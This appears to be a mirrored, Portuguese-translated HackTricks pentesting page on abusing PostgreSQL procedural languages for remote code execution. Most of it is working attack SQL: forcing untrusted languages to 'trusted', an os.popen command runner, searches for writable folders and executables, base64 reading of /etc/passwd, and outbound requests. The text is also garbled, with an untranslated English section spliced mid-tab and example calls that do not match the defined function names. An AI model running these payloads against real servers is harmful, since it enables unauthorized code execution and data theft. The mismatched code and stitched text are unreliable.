mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
349 lines
10 KiB
Markdown
349 lines
10 KiB
Markdown
## Linguagens do PostgreSQL
|
|
|
|
O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes **linguagens de script instaladas** que você pode abusar para **executar código arbitrário**.
|
|
|
|
Você pode **fazê-las funcionar**:
|
|
```sql
|
|
\dL *
|
|
|
|
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
|
```
|
|
A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 versões**: a **confiável** e a **não confiável**. A versão **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Estas são as linguagens que, se instaladas, são interessantes:
|
|
|
|
* **plpythonu**
|
|
* **plpython3u**
|
|
* **plperlu**
|
|
* **pljavaU**
|
|
* **plrubyu**
|
|
* ... (qualquer outra linguagem de programação usando uma versão insegura)
|
|
|
|
{% hint style="warning" %}
|
|
Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**), você pode tentar **confiar nela** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
|
|
```sql
|
|
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
|
# To check your permissions over the table pg_language
|
|
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
|
|
```
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
Se você não vir um idioma, pode tentar carregá-lo com (**você precisa ser superadmin**):
|
|
```
|
|
CREATE EXTENSION plpythonu;
|
|
CREATE EXTENSION plpython3u;
|
|
CREATE EXTENSION plperlu;
|
|
CREATE EXTENSION pljavaU;
|
|
CREATE EXTENSION plrubyu;
|
|
```
|
|
{% endhint %}
|
|
|
|
Observe que é possível compilar as versões seguras como "inseguras". Verifique [**isto**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como exemplo. Portanto, sempre vale a pena tentar se você pode executar o código, mesmo que encontre apenas o **confiável** instalado.
|
|
|
|
## plpythonu/plpython3u
|
|
|
|
{% tabs %}
|
|
{% tab title="RCE" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION exec (cmd text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
return os.popen(cmd).read()
|
|
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT cmd("ls"); #RCE with popen or execve
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Obter usuário do sistema operacional" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
return os.getlogin()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT get_user(""); #Get user, para is useless
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Listar diretório" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import json
|
|
from os import walk
|
|
files = next(walk(dir), (None, None, []))
|
|
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT lsdir("/"); #List dir
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Encontrar pasta W" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION findw (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
writables = []
|
|
def find_writable(path):
|
|
if not os.path.isdir(path):
|
|
return
|
|
if os.access(path, os.W_OK):
|
|
writables.append(path)
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_writable(os.path.join(path, item))
|
|
find_writable(path)
|
|
return writables
|
|
|
|
return ", ".join(my_find(dir))
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Encontrar Arquivo" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find("/")
|
|
b = []
|
|
|
|
for i in a:
|
|
if exe_sea in os.path.basename(i):
|
|
b.append(i)
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT find_file("psql"); #Find a file
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Encontrar executáveis" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION findx (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find(dir)
|
|
b = []
|
|
|
|
for i in a:
|
|
b.append(os.path.basename(i))
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT findx("/"); #Find an executables in folder (recursively)
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Encontrar exec por subs" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find("/")
|
|
b = []
|
|
|
|
for i in a:
|
|
if exe_sea in i:
|
|
b.append(i)
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT find_exe("psql"); #Find executable by susbstring
|
|
```
|
|
# RCE with PostgreSQL Languages
|
|
|
|
PostgreSQL allows the creation of new languages that can be used to write stored procedures. This feature can be used to execute arbitrary code on the server.
|
|
|
|
## Creating a new language
|
|
|
|
To create a new language, you need to be a superuser or have the `CREATE LANGUAGE` privilege.
|
|
|
|
```sql
|
|
CREATE TRUSTED PROCEDURAL LANGUAGE 'plpythonu' HANDLER plpython_call_handler;
|
|
```
|
|
|
|
## Writing a stored procedure
|
|
|
|
Once the language is created, you can write a stored procedure in that language.
|
|
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION rce() RETURNS void AS $$
|
|
import os
|
|
os.system('/usr/bin/id > /tmp/rce')
|
|
$$ LANGUAGE plpythonu;
|
|
```
|
|
|
|
This stored procedure executes the `id` command and writes the output to `/tmp/rce`.
|
|
|
|
## Calling the stored procedure
|
|
|
|
To call the stored procedure, you can use the `SELECT` statement.
|
|
|
|
```sql
|
|
SELECT rce();
|
|
```
|
|
|
|
This will execute the `rce` stored procedure and write the output to `/tmp/rce`.
|
|
|
|
## Cleaning up
|
|
|
|
To remove the language, you can use the `DROP LANGUAGE` statement.
|
|
|
|
```sql
|
|
DROP LANGUAGE plpythonu;
|
|
```
|
|
|
|
## References
|
|
|
|
- [PostgreSQL Documentation: CREATE LANGUAGE](https://www.postgresql.org/docs/current/sql-createlanguage.html)
|
|
- [PostgreSQL Documentation: CREATE FUNCTION](https://www.postgresql.org/docs/current/sql-createfunction.html)
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION read (path text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import base64
|
|
encoded_string= base64.b64encode(open(path).read())
|
|
return encoded_string.decode('utf-8')
|
|
return open(path).read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
select read('/etc/passwd'); #Read a file in b64
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Obter permissões" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION get_perms (path text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
status = os.stat(path)
|
|
perms = oct(status.st_mode)[-3:]
|
|
return str(perms)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
select get_perms("/etc/passwd"); # Get perms of file
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="Requisição" %}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION req2 (url text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import urllib
|
|
r = urllib.urlopen(url)
|
|
return r.read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT req2('https://google.com'); #Request using python2
|
|
|
|
CREATE OR REPLACE FUNCTION req3 (url text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
from urllib import request
|
|
r = request.urlopen(url)
|
|
return r.read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT req3('https://google.com'); #Request using python3
|
|
```
|
|
## pgSQL
|
|
|
|
Verifique a seguinte página:
|
|
|
|
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
|
|
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
|
|
{% endcontent-ref %}
|
|
|
|
## C
|
|
|
|
Verifique a seguinte página:
|
|
|
|
{% content-ref url="rce-with-postgresql-extensions.md" %}
|
|
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
|
{% endcontent-ref %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|